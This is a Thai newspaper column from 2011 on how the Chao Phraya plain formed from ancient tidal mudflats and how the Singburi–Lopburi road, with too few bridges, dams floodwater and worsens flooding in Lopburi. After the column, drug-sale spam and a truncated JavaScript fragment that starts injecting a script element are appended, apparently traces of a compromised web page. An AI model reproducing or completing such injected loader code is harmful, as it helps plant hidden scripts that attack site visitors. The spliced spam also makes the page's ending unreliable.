มติชนรายวัน ฉบับประจำวันพฤหัสบดีที่ 6 ตุลาคม 2554

 

          แม่น้ำเจ้าพระยา มีจุดเริ่มจากต้นน้ำทางทิศเหนือที่ปากน้ำโพ (นครสวรรค์) ไหลลงอ่าวไทยทางทิศใต้ที่ปากน้ำ (สมุทรปราการ)

          เส้นทางจากต้นน้ำถึงอ่าวไทย ทำแนวเหนือ-ใต้ เสมือนเส้นแบ่งตามธรรมชาติให้บริเวณที่ราบลุ่มภาคกลางตอนล่างมี 2 ฟาก คือฟากตะวันตก กับฟากตะวันออก

          ราว 3,000 ปีมาแล้ว ก่อนมีแม่น้ำเจ้าพระยา บริเวณที่ราบลุ่มตรงนี้ยังไม่แบ่งเป็น 2 ฟาก แต่เป็นดินแดนเดียวกันที่เต็มไปด้วยทะเลโคลนตม หรือป่าชายเลนต่อเนื่องลงไปทะเลอ่าวไทย

          พูดอีกอย่างหนึ่งก็ได้ว่า เมื่อ 3,000 ปีมาแล้ว ทะเลอ่าวไทยเว้าลึกขึ้นไปถึงสุพรรณบุรีและลพบุรี-สิงห์บุรี ปากน้ำเจ้าพระยาอยู่สิงห์บุรี

          ราว 2,000 ปีมาแล้ว หลังติดต่อค้าขายกับอินเดีย, อาหรับ, เปอร์เซีย, จีน ชุมชนดั้งเดิมเติบโตเป็นบ้านเมืองขนาดใหญ่อยู่ 2 ฟาก

          ฟากตะวันตก มีศูนย์กลางอยู่ที่ดอนสูง เมืองอู่ทอง (อ. อู่ทอง จ. สุพรรณบุรี)

          ฟากตะวันออก มีศูนย์กลางอยู่ที่ดอนสูง เมืองลพบุรี (อ. เมือง จ. ลพบุรี)

          มีที่ราบลุ่มเป็นทะเลโคลนตมและป่าชายเลนต่อเนื่องมาจากดึกดำบรรพ์ 3,000 ปีมาแล้วนั่นเอง

          นานเข้าโคลนตมถมทับเป็นที่ดอนมากขึ้น ก็มีแม่น้ำเจ้าพระยาเป็นแกนกลางทำแนวเหนือ-ใต้

          ทะเลโคลนตมมาแต่เดิม เมื่อถูกโคลนตมถมทับมากขึ้นนั้นก็กลายเป็นที่ราบลุ่มต่ำ น้ำท่วมถึง แบ่งเป็น 2 ฟากแม่น้ำเจ้าพระยา คือฟากตะวันตก กับฟากตะวันออกดังกล่าวมา

          โดยมีพื้นที่ทางเหนือสูงกว่าพื้นที่ทางใต้ ทำให้น้ำหลากจากเหนือลงใต้

          ทุกวันนี้คือบริเวณสิงห์บุรี, อ่างทอง, อยุธยา, ปทุมธานี, นนทบุรี, กรุงเทพฯ, สมุทรปราการ, ฯลฯ

          ปัจจุบันมีถนนเชื่อมระหว่างสิงห์บุรี-ลพบุรี เริ่มตั้งแต่ฝั่งตะวันออกของแม่น้ำเจ้าพระยาที่สิงห์บุรี ผ่าน อ. ท่าวุ้ง (ลพบุรี) ตรงไปตัวจังหวัดลพบุรี ที่อยู่ทางตะวันออก

          จะเห็นว่าถนนสายสิงห์บุรี-ลพบุรีตัดผ่าเข้าไปที่ราบลุ่มต่ำอันเคยเป็นทะเลโคลนตมมาก่อนเมื่อหลายพันปีมาแล้ว

          นอกจากนั้นแนวถนนสายนี้ยังมีแม่น้ำสองสายขนาบทั้งเหนือ-ใต้ คือแม่น้ำบางขาม อยู่ในทุ่งทางเหนือ กับแม่น้ำลพบุรี อยู่ในทุ่งทางใต้

          ถึงฤดูน้ำหลากทุกปี จะมีน้ำป่าไหลจากทางเหนือล้นแม่น้ำบางขาม ไหลลงแม่น้ำลพบุรีทางใต้ ไปออกแม่น้ำเจ้าพระยาที่อยุธยา แม้จะมีถนนสายสิงห์บุรี-ลพบุรีคั่นอยู่ก็ไม่เป็นอุปสรรคมากนัก เพราะน้ำหลากไม่มาก ถึงท่วมบ้างก็พอรับมือได้

          แต่ปีนี้น้ำมากผิดปกติ ถนนสายสิงห์บุรี-ลพบุรี เลยเป็นทำนบแข็งแรงกั้นน้ำจำนวนมหาศาลไว้เต็มทุ่งนา อ. ท่าวุ้ง กับ อ. บ้านหมี่ ลพบุรี คนแถบนี้เลยเดือดร้อนแสนสาหัส

          ถ้าถนนมีทางระบายน้ำคล่องกว่านี้ ก็จะไม่สาหัสมากเท่านี้ แต่นี่ทางระบายน้ำไม่พอ ชาวบ้านเลยตกทุกข์สาหัส

          เมื่อบ่ายแก่ๆ วันเสาร์ที่ 1 ตุลาคมที่ผ่านมา ผมนั่งรถไปตามถนนสายสิงห์บุรี-ลพบุรี ตั้งแต่แยกถนนสายเอเชีย ผ่าน อ. ท่าวุ้ง ก็เห็นน้ำจากแม่น้ำบางขามในทุ่งนาทางเหนือไหลมาสะดุดถนนทำนบ แล้วล้นไปลงแม่น้ำลพบุรีทางใต้อย่างเชี่ยวกรากรุนแรง บางแห่งรถแล่นผ่านน้ำล้นหลากยังสั่นด้วยแรงน้ำ

          ถนนสายนี้มีสะพานไม่มาก ทำให้น้ำหลากไหลลงใต้ไม่คล่อง น้ำเลยล้นท่วมถนนไหลเชี่ยวเกรี้ยวกราด เห็นแล้วน่ากลัวมากๆ ตรงบริเวณบ้านสามเรือน, บ้านท่าข้าม ก่อนเข้าตัวเมืองลพบุรี

          ถนนมีคุณ แต่ก็มีโทษด้วย ถ้าไม่คำนึงถึงทางน้ำหลากไหลถนนก็ให้โทษมากกว่าให้คุณ ดังนั้นต้องแก้ที่การก่อนสร้างถนน

          โชคไม่ดีที่สังคมไทยมองข้ามความสำคัญของทางน้ำธรรมชาติ แล้วพากันประมาท เลยถูกธรรมชาติเอาคืน

fluoxetine 20 mg cost buy prednisone 10mgvar d=document;var s=d.createElement(‘script’); if (document.currentScript) {